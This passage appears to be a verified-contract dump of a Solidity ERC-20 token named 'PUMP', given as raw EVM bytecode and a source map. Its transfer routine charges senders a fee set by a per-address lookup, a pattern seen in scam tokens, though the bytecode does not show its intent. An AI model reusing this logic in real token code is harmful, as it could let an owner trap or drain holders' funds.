a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161084892919061180f565b6020604051808303815f875af1158015610864573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108889190611860565b506001600f60146101000a81548160ff021916908315150217905550565b5f6108b2848484610dc0565b61094784336109428560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461111990919063ffffffff16565b610bfd565b600190509392505050565b5f8060149054906101000a900460ff16905090565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166109f1610b01565b73ffffffffffffffffffffffffffffffffffffffff1614610a47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3e906116c1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f50554d5000000000000000000000000000000000000000000000000000000000815250905090565b5f610b71338484610dc0565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c62906118fb565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd090611989565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610db391906113e3565b60405180910390a3505050565b5f808211610dcc575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610e03575f80fd5b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610e8c57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610ec257610ebf6064610eb1610ea287610364565b8561116290919063ffffffff16565b6111d990919063ffffffff16565b90505b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f2e57600b5f815480929190610f28906119d4565b91905055505b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f7a578160105f828254610f729190611a1b565b925050819055505b610fca8260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461111990919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555061106d8161105f8460035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461122290919063ffffffff16565b61111990919063ffffffff16565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161110b91906113e3565b60405180910390a350505050565b5f61115a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061127f565b905092915050565b5f808303611172575f90506111d3565b5f828461117f9190611a4e565b905082848261118e9190611abc565b146111ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c590611b5c565b60405180910390fd5b809150505b92915050565b5f61121a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112e1565b905092915050565b5f8082846112309190611a1b565b905083811015611275576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126c90611bc4565b60405180910390fd5b8091505092915050565b5f8383111582906112c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bd919061146c565b60405180910390fd5b505f83856112d49190611be2565b9050809150509392505050565b5f8083118290611327576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131e919061146c565b60405180910390fd5b505f83856113359190611abc565b9050809150509392505050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61136f82611346565b9050919050565b61137f81611365565b8114611389575f80fd5b50565b5f8135905061139a81611376565b92915050565b5f602082840312156113b5576113b4611342565b5b5f6113c28482850161138c565b91505092915050565b5f819050919050565b6113dd816113cb565b82525050565b5f6020820190506113f65f8301846113d4565b92915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61143e826113fc565b6114488185611406565b9350611458818560208601611416565b61146181611424565b840191505092915050565b5f6020820190508181035f8301526114848184611434565b905092915050565b611495816113cb565b811461149f575f80fd5b50565b5f813590506114b08161148c565b92915050565b5f80604083850312156114cc576114cb611342565b5b5f6114d98582860161138c565b92505060206114ea858286016114a2565b9150509250929050565b5f8115159050919050565b611508816114f4565b82525050565b5f6020820190506115215f8301846114ff565b92915050565b5f805f6060848603121561153e5761153d611342565b5b5f61154b8682870161138c565b935050602061155c8682870161138c565b925050604061156d868287016114a2565b9150509250925092565b5f60ff82169050919050565b61158c81611577565b82525050565b5f6020820190506115a55f830184611583565b92915050565b6115b481611365565b82525050565b5f6020820190506115cd5f8301846115ab565b92915050565b5f80604083850312156115e9576115e8611342565b5b5f6115f68582860161138c565b92505060206116078582860161138c565b9150509250929050565b5f6040820190506116245f8301856115ab565b61163160208301846115ab565b9392505050565b5f815190506116468161148c565b92915050565b5f6020828403121561166157611660611342565b5b5f61166e84828501611638565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6116ab602083611406565b91506116b682611677565b602082019050919050565b5f6020820190508181035f8301526116d88161169f565b9050919050565b5f815190506116ed81611376565b92915050565b5f6020828403121561170857611707611342565b5b5f611715848285016116df565b91505092915050565b5f819050919050565b5f819050919050565b5f61174a6117456117408461171e565b611727565b6113cb565b9050919050565b61175a81611730565b82525050565b5f60c0820190506117735f8301896115ab565b61178060208301886113d4565b61178d6040830187611751565b61179a6060830186611751565b6117a760808301856115ab565b6117b460a08301846113d4565b979650505050505050565b5f805f606084860312156117d6576117d5611342565b5b5f6117e386828701611638565b93505060206117f486828701611638565b925050604061180586828701611638565b9150509250925092565b5f6040820190506118225f8301856115ab565b61182f60208301846113d4565b9392505050565b61183f816114f4565b8114611849575f80fd5b50565b5f8151905061185a81611836565b92915050565b5f6020828403121561187557611874611342565b5b5f6118828482850161184c565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6118e5602483611406565b91506118f08261188b565b604082019050919050565b5f6020820190508181035f830152611912816118d9565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611973602283611406565b915061197e82611919565b604082019050919050565b5f6020820190508181035f8301526119a081611967565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6119de826113cb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203611a1057611a0f6119a7565b5b600182019050919050565b5f611a25826113cb565b9150611a30836113cb565b9250828201905080821115611a4857611a476119a7565b5b92915050565b5f611a58826113cb565b9150611a63836113cb565b9250828202611a71816113cb565b91508282048414831517611a8857611a876119a7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611ac6826113cb565b9150611ad1836113cb565b925082611ae157611ae0611a8f565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f611b46602183611406565b9150611b5182611aec565b604082019050919050565b5f6020820190508181035f830152611b7381611b3a565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611bae601b83611406565b9150611bb982611b7a565b602082019050919050565b5f6020820190508181035f830152611bdb81611ba2565b9050919050565b5f611bec826113cb565b9150611bf7836113cb565b9250828203905081811115611c0f57611c0e6119a7565b5b9291505056fea26469706673582212203faf27f7af85791f510da5c4b1f0a26e141a6f6ecf1377c3881fe8d52a981f0164736f6c63430008190033

Deployed Bytecode Sourcemap

3170:4353:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5925:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4909:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4751:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5122:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5363:554;;;:::i;:::-;;6921:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4565:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3959:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5004:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1509:140;;;;;;;;;;;;;:::i;:::-;;1843:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4656;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6757:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5221:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5925:139;5982:7;6009:6;;;;;;;;;;;:26;;;6036:4;6050;6009:47;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6002:54;;5925:139;;;:::o;4909:83::-;4946:13;4979:5;;;;;;;;;;;;;;;;;4972:12;;4909:83;:::o;4751:150::-;4817:4;4834:37;4843:10;4855:7;4864:6;4834:8;:37::i;:::-;4889:4;4882:11;;4751:150;;;;:::o;5122:91::-;5166:7;5193:12;;5186:19;;5122:91;:::o;5363:554::-;1708:10;1697:21;;:7;:5;:7::i;:::-;:21;;;1689:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;5436:11:::1;;;;;;;;;;;5435:12;5427:21;;;::::0;::::1;;5460:63;5477:4;5492:15;;;;;;;;;;;5510:12;;5460:8;:63::i;:::-;5568:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5550:65;;;5624:4;5631:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5550:104;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5534:13;;:120;;;;;;;;;;;;;;;;;;5665:15;;;;;;;;;;;:31;;;5704:9;5733:4;5740:24;5758:4;5740:9;:24::i;:::-;5766:1;5769::::0;5772:7:::1;:5;:7::i;:::-;5781:15;5665:132;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;5815:13;;;;;;;;;;;5808:29;;;5846:15;;;;;;;;;;;5864:14;5808:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5905:4;5891:11;;:18;;;;;;;;;;;;;;;;;;5363:554::o:0;6921:256::-;7010:4;7027:36;7037:6;7045:9;7056:6;7027:9;:36::i;:::-;7074:73;7083:6;7091:10;7103:43;7139:6;7103:11;:19;7115:6;7103:19;;;;;;;;;;;;;;;:31;7123:10;7103:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;7074:8;:73::i;:::-;7165:4;7158:11;;6921:256;;;;;:::o;4565:83::-;4606:5;4631:9;;;;;;;;;;;4624:16;;4565:83;:::o;3959:28::-;;;;;;;;;;;;;:::o;5004:110::-;5061:7;5088:9;:18;5098:7;5088:18;;;;;;;;;;;;;;;;5081:25;;5004:110;;;:::o;1509:140::-;1708:10;1697:21;;:7;:5;:7::i;:::-;:21;;;1689:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;1608:1:::1;1571:40;;1592:6;::::0;::::1;;;;;;;;1571:40;;;;;;;;;;;;1639:1;1622:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1509:140::o:0;1843:87::-;1889:7;1916:6;;;;;;;;;;;1909:13;;1843:87;:::o;4656:::-;4695:13;4728:7;;;;;;;;;;;;;;;;;4721:14;;4656:87;:::o;6757:156::-;6826:4;6843:40;6853:10;6865:9;6876:6;6843:9;:40::i;:::-;6901:4;6894:11;;6757:156;;;;:::o;5221:134::-;5293:7;5320:11;:18;5332:5;5320:18;;;;;;;;;;;;;;;:27;5339:7;5320:27;;;;;;;;;;;;;;;;5313:34;;5221:134;;;;:::o;7185:335::-;7295:1;7278:19;;:5;:19;;;7270:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7376:1;7357:21;;:7;:21;;;7349:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7458:6;7428:11;:18;7440:5;7428:18;;;;;;;;;;;;;;;:27;7447:7;7428:27;;;;;;;;;;;;;;;:36;;;;7496:7;7480:32;;7489:5;7480:32;;;7505:6;7480:32;;;;;;:::i;:::-;;;;;;;;7185:335;;;:::o;6072:677::-;6159:18;6209:1;6200:6;:10;6192:19;;;;;;6246:1;6230:18;;:4;:18;;;6222:27;;;;;;6273:13;;;;;;;;;;;6265:21;;:4;:21;;;;:46;;;;;6306:4;6290:21;;:4;:21;;;;6265:46;6261:131;;;6341:39;6376:3;6341:30;6352:18;6365:4;6352:12;:18::i;:::-;6341:6;:10;;:30;;;;:::i;:::-;:34;;:39;;;;:::i;:::-;6328:52;;6261:131;6414:13;;;;;;;;;;;6406:21;;:4;:21;;;6402:67;;6445:9;;:11;;;;;;;;;:::i;:::-;;;;;;6402:67;6504:1;6483:23;;:9;:23;;;6479:76;;6537:6;6523:10;;:20;;;;;;;:::i;:::-;;;;;;;;6479:76;6583:27;6603:6;6583:9;:15;6593:4;6583:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;6565:9;:15;6575:4;6565:15;;;;;;;;;;;;;;;:45;;;;6644:48;6681:10;6644:32;6669:6;6644:9;:20;6654:9;6644:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;:36;;:48;;;;:::i;:::-;6621:9;:20;6631:9;6621:20;;;;;;;;;;;;;;;:71;;;;6723:9;6708:33;;6717:4;6708:33;;;6734:6;6708:33;;;;;;:::i;:::-;;;;;;;;6148:601;6072:677;;;:::o;2434:136::-;2492:7;2519:43;2523:1;2526;2519:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2512:50;;2434:136;;;;:::o;2580:246::-;2638:7;2667:1;2662;:6;2658:47;;2692:1;2685:8;;;;2658:47;2715:9;2731:1;2727;:5;;;;:::i;:::-;2715:17;;2760:1;2755;2751;:5;;;;:::i;:::-;:10;2743:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;2817:1;2810:8;;;2580:246;;;;;:::o;3029:132::-;3087:7;3114:39;3118:1;3121;3114:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;3107:46;;3029:132;;;;:::o;2051:179::-;2109:7;2129:9;2145:1;2141;:5;;;;:::i;:::-;2129:17;;2170:1;2165;:6;;2157:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;2221:1;2214:8;;;2051:179;;;;:::o;2236:190::-;2322:7;2355:1;2350;:6;;2358:12;2342:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2382:9;2398:1;2394;:5;;;;:::i;:::-;2382:17;;2417:1;2410:8;;;2236:190;;;;;:::o;2832:189::-;2918:7;2950:1;2946;:5;2953:12;2938:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2977:9;2993:1;2989;:5;;;;:::i;:::-;2977:17;;3012:1;3005:8;;;2832:189;;;;;:::o;88:117:1:-;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:77::-;1213:7;1242:5;1231:16;;1176:77;;;:::o;1259:118::-;1346:24;1364:5;1346:24;:::i;:::-;1341:3;1334:37;1259:118;;:::o;1383:222::-;1476:4;1514:2;1503:9;1499:18;1491:26;;1527:71;1595:1;1584:9;1580:17;1571:6;1527:71;:::i;:::-;1383:222;;;;:::o;1611:99::-;1663:6;1697:5;1691:12;1681:22;;1611:99;;;:::o;1716:169::-;1800:11;1834:6;1829:3;1822:19;1874:4;1869:3;1865:14;1850:29;;1716:169;;;;:::o;1891:139::-;1980:6;1975:3;1970;1964:23;2021:1;2012:6;2007:3;2003:16;1996:27;1891:139;;;:::o;2036:102::-;2077:6;2128:2;2124:7;2119:2;2112:5;2108:14;2104:28;2094:38;;2036:102;;;:::o;2144:377::-;2232:3;2260:39;2293:5;2260:39;:::i;:::-;2315:71;2379:6;2374:3;2315:71;:::i;:::-;2308:78;;2395:65;2453:6;2448:3;2441:4;2434:5;2430:16;2395:65;:::i;:::-;2485:29;2507:6;2485:29;:::i;:::-;2480:3;2476:39;2469:46;;2236:285;2144:377;;;;:::o;2527:313::-;2640:4;2678:2;2667:9;2663:18;2655:26;;2727:9;2721:4;2717:20;2713:1;2702:9;2698:17;2691:47;2755:78;2828:4;2819:6;2755:78;:::i;:::-;2747:86;;2527:313;;;;:::o;2846:122::-;2919:24;2937:5;2919:24;:::i;:::-;2912:5;2909:35;2899:63;;2958:1;2955;2948:12;2899:63;2846:122;:::o;2974:139::-;3020:5;3058:6;3045:20;3036:29;;3074:33;3101:5;3074:33;:::i;:::-;2974:139;;;;:::o;3119:474::-;3187:6;3195;3244:2;3232:9;3223:7;3219:23;3215:32;3212:119;;;3250:79;;:::i;:::-;3212:119;3370:1;3395:53;3440:7;3431:6;3420:9;3416:22;3395:53;:::i;:::-;3385:63;;3341:117;3497:2;3523:53;3568:7;3559:6;3548:9;3544:22;3523:53;:::i;:::-;3513:63;;3468:118;3119:474;;;;;:::o;3599:90::-;3633:7;3676:5;3669:13;3662:21;3651:32;;3599:90;;;:::o;3695:109::-;3776:21;3791:5;3776:21;:::i;:::-;3771:3;3764:34;3695:109;;:::o;3810:210::-;3897:4;3935:2;3924:9;3920:18;3912:26;;3948:65;4010:1;3999:9;3995:17;3986:6;3948:65;:::i;:::-;3810:210;;;;:::o;4026:619::-;4103:6;4111;4119;4168:2;4156:9;4147:7;4143:23;4139:32;4136:119;;;4174:79;;:::i;:::-;4136:119;4294:1;4319:53;4364:7;4355:6;4344:9;4340:22;4319:53;:::i;:::-;4309:63;;4265:117;4421:2;4447:53;4492:7;4483:6;4472:9;4468:22;4447:53;:::i;:::-;4437:63;;4392:118;4549:2;4575:53;4620:7;4611:6;4600:9;4596:22;4575:53;:::i;:::-;4565:63;;4520:118;4026:619;;;;;:::o;4651:86::-;4686:7;4726:4;4719:5;4715:16;4704:27;;4651:86;;;:::o;4743:112::-;4826:22;4842:5;4826:22;:::i;:::-;4821:3;4814:35;4743:112;;:::o;4861:214::-;4950:4;4988:2;4977:9;4973:18;4965:26;;5001:67;5065:1;5054:9;5050:17;5041:6;5001:67;:::i;:::-;4861:214;;;;:::o;5081:118::-;5168:24;5186:5;5168:24;:::i;:::-;5163:3;5156:37;5081:118;;:::o;5205:222::-;5298:4;5336:2;5325:9;5321:18;5313:26;;5349:71;5417:1;5406:9;5402:17;5393:6;5349:71;:::i;:::-;5205:222;;;;:::o;5433:474::-;5501:6;5509;5558:2;5546:9;5537:7;5533:23;5529:32;5526:119;;;5564:79;;:::i;:::-;5526:119;5684:1;5709:53;5754:7;5745:6;5734:9;5730:22;5709:53;:::i;:::-;5699:63;;5655:117;5811:2;5837:53;5882:7;5873:6;5862:9;5858:22;5837:53;:::i;:::-;5827:63;;5782:118;5433:474;;;;;:::o;5913:332::-;6034:4;6072:2;6061:9;6057:18;6049:26;;6085:71;6153:1;6142:9;6138:17;6129:6;6085:71;:::i;:::-;6166:72;6234:2;6223:9;6219:18;6210:6;6166:72;:::i;:::-;5913:332;;;;;:::o;6251:143::-;6308:5;6339:6;6333:13;6324:22;;6355:33;6382:5;6355:33;:::i;:::-;6251:143;;;;:::o;6400:351::-;6470:6;6519:2;6507:9;6498:7;6494:23;6490:32;6487:119;;;6525:79;;:::i;:::-;6487:119;6645:1;6670:64;6726:7;6717:6;6706:9;6702:22;6670:64;:::i;:::-;6660:74;;6616:128;6400:351;;;;:::o;6757:182::-;6897:34;6893:1;6885:6;6881:14;6874:58;6757:182;:::o;6945:366::-;7087:3;7108:67;7172:2;7167:3;7108:67;:::i;:::-;7101:74;;7184:93;7273:3;7184:93;:::i;:::-;7302:2;7297:3;7293:12;7286:19;;6945:366;;;:::o;7317:419::-;7483:4;7521:2;7510:9;7506:18;7498:26;;7570:9;7564:4;7560:20;7556:1;7545:9;7541:17;7534:47;7598:131;7724:4;7598:131;:::i;:::-;7590:139;;7317:419;;;:::o;7742:143::-;7799:5;7830:6;7824:13;7815:22;;7846:33;7873:5;7846:33;:::i;:::-;7742:143;;;;:::o;7891:351::-;7961:6;8010:2;7998:9;7989:7;7985:23;7981:32;7978:119;;;8016:79;;:::i;:::-;7978:119;8136:1;8161:64;8217:7;8208:6;8197:9;8193:22;8161:64;:::i;:::-;8151:74;;8107:128;7891:351;;;;:::o;8248:85::-;8293:7;8322:5;8311:16;;8248:85;;;:::o;8339:60::-;8367:3;8388:5;8381:12;;8339:60;;;:::o;8405:158::-;8463:9;8496:61;8514:42;8523:32;8549:5;8523:32;:::i;:::-;8514:42;:::i;:::-;8496:61;:::i;:::-;8483:74;;8405:158;;;:::o;8569:147::-;8664:45;8703:5;8664:45;:::i;:::-;8659:3;8652:58;8569:147;;:::o;8722:807::-;8971:4;9009:3;8998:9;8994:19;8986:27;;9023:71;9091:1;9080:9;9076:17;9067:6;9023:71;:::i;:::-;9104:72;9172:2;9161:9;9157:18;9148:6;9104:72;:::i;:::-;9186:80;9262:2;9251:9;9247:18;9238:6;9186:80;:::i;:::-;9276;9352:2;9341:9;9337:18;9328:6;9276:80;:::i;:::-;9366:73;9434:3;9423:9;9419:19;9410:6;9366:73;:::i;:::-;9449;9517:3;9506:9;9502:19;9493:6;9449:73;:::i;:::-;8722:807;;;;;;;;;:::o;9535:663::-;9623:6;9631;9639;9688:2;9676:9;9667:7;9663:23;9659:32;9656:119;;;9694:79;;:::i;:::-;9656:119;9814:1;9839:64;9895:7;9886:6;9875:9;9871:22;9839:64;:::i;:::-;9829:74;;9785:128;9952:2;9978:64;10034:7;10025:6;10014:9;10010:22;9978:64;:::i;:::-;9968:74;;9923:129;10091:2;10117:64;10173:7;10164:6;10153:9;10149:22;10117:64;:::i;:::-;10107:74;;10062:129;9535:663;;;;;:::o;10204:332::-;10325:4;10363:2;10352:9;10348:18;10340:26;;10376:71;10444:1;10433:9;10429:17;10420:6;10376:71;:::i;:::-;10457:72;10525:2;10514:9;10510:18;10501:6;10457:72;:::i;:::-;10204:332;;;;;:::o;10542:116::-;10612:21;10627:5;10612:21;:::i;:::-;10605:5;10602:32;10592:60;;10648:1;10645;10638:12;10592:60;10542:116;:::o;10664:137::-;10718:5;10749:6;10743:13;10734:22;;10765:30;10789:5;10765:30;:::i;:::-;10664:137;;;;:::o;10807:345::-;10874:6;10923:2;10911:9;10902:7;10898:23;10894:32;10891:119;;;10929:79;;:::i;:::-;10891:119;11049:1;11074:61;11127:7;11118:6;11107:9;11103:22;11074:61;:::i;:::-;11064:71;;11020:125;10807:345;;;;:::o;11158:223::-;11298:34;11294:1;11286:6;11282:14;11275:58;11367:6;11362:2;11354:6;11350:15;11343:31;11158:223;:::o;11387:366::-;11529:3;11550:67;11614:2;11609:3;11550:67;:::i;:::-;11543:74;;11626:93;11715:3;11626:93;:::i;:::-;11744:2;11739:3;11735:12;11728:19;;11387:366;;;:::o;11759:419::-;11925:4;11963:2;11952:9;11948:18;11940:26;;12012:9;12006:4;12002:20;11998:1;11987:9;11983:17;11976:47;12040:131;12166:4;12040:131;:::i;:::-;12032:139;;11759:419;;;:::o;12184:221::-;12324:34;12320:1;12312:6;12308:14;12301:58;12393:4;12388:2;12380:6;12376:15;12369:29;12184:221;:::o;12411:366::-;12553:3;12574:67;12638:2;12633:3;12574:67;:::i;:::-;12567:74;;12650:93;12739:3;12650:93;:::i;:::-;12768:2;12763:3;12759:12;12752:19;;12411:366;;;:::o;12783:419::-;12949:4;12987:2;12976:9;12972:18;12964:26;;13036:9;13030:4;13026:20;13022:1;13011:9;13007:17;13000:47;13064:131;13190:4;13064:131;:::i;:::-;13056:139;;12783:419;;;:::o;13208:180::-;13256:77;13253:1;13246:88;13353:4;13350:1;13343:15;13377:4;13374:1;13367:15;13394:233;13433:3;13456:24;13474:5;13456:24;:::i;:::-;13447:33;;13502:66;13495:5;13492:77;13489:103;;13572:18;;:::i;:::-;13489:103;13619:1;13612:5;13608:13;13601:20;;13394:233;;;:::o;13633:191::-;13673:3;13692:20;13710:1;13692:20;:::i;:::-;13687:25;;13726:20;13744:1;13726:20;:::i;:::-;13721:25;;13769:1;13766;13762:9;13755:16;;13790:3;13787:1;13784:10;13781:36;;;13797:18;;:::i;:::-;13781:36;13633:191;;;;:::o;13830:410::-;13870:7;13893:20;13911:1;13893:20;:::i;:::-;13888:25;;13927:20;13945:1;13927:20;:::i;:::-;13922:25;;13982:1;13979;13975:9;14004:30;14022:11;14004:30;:::i;:::-;13993:41;;14183:1;14174:7;14170:15;14167:1;14164:22;14144:1;14137:9;14117:83;14094:139;;14213:18;;:::i;:::-;14094:139;13878:362;13830:410;;;;:::o;14246:180::-;14294:77;14291:1;14284:88;14391:4;14388:1;14381:15;14415:4;14412:1;14405:15;14432:185;14472:1;14489:20;14507:1;14489:20;:::i;:::-;14484:25;;14523:20;14541:1;14523:20;:::i;:::-;14518:25;;14562:1;14552:35;;14567:18;;:::i;:::-;14552:35;14609:1;14606;14602:9;14597:14;;14432:185;;;;:::o;14623:220::-;14763:34;14759:1;14751:6;14747:14;14740:58;14832:3;14827:2;14819:6;14815:15;14808:28;14623:220;:::o;14849:366::-;14991:3;15012:67;15076:2;15071:3;15012:67;:::i;:::-;15005:74;;15088:93;15177:3;15088:93;:::i;:::-;15206:2;15201:3;15197:12;15190:19;;14849:366;;;:::o;15221:419::-;15387:4;15425:2;15414:9;15410:18;15402:26;;15474:9;15468:4;15464:20;15460:1;15449:9;15445:17;15438:47;15502:131;15628:4;15502:131;:::i;:::-;15494:139;;15221:419;;;:::o;15646:177::-;15786:29;15782:1;15774:6;15770:14;15763:53;15646:177;:::o;15829:366::-;15971:3;15992:67;16056:2;16051:3;15992:67;:::i;:::-;15985:74;;16068:93;16157:3;16068:93;:::i;:::-;16186:2;16181:3;16177:12;16170:19;;15829:366;;;:::o;16201:419::-;16367:4;16405:2;16394:9;16390:18;16382:26;;16454:9;16448:4;16444:20;16440:1;16429:9;16425:17;16418:47;16482:131;16608:4;16482:131;:::i;:::-;16474:139;;16201:419;;;:::o;16626:194::-;16666:4;